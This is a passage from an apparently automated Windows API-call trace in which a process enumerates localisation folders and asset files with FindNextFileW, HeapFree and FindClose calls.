hHeap=0x710000) returned 1 [0189.879] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.879] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.879] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.879] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0189.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.879] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b57, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.879] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.880] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0189.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.880] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="on-boarding", cAlternateFileName="ON-BOA~1")) returned 1 [0189.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.880] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0189.883] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.883] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0189.883] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.883] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0189.884] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.884] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0189.884] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.884] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0189.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.885] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0189.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.886] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0189.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.886] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0189.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.886] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0189.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.886] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0189.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.887] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0189.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.887] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0189.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.887] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0189.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.888] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.888] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.889] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.889] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.889] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.889] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.890] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0189.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.890] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7962, dwReserved0=0x0, dwReserved1=0x0, cFileName="multi-tab-file-view-2x.png", cAlternateFileName="MULTI-~2.PNG")) returned 1 [0189.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.892] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0 [0189.892] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0189.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.037] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0190.039] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.039] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.039] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.039] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.039] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.039] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.040] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.040] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.040] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.040] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.040] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.040] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.040] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.040] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.041] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.041] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.041] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.041] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 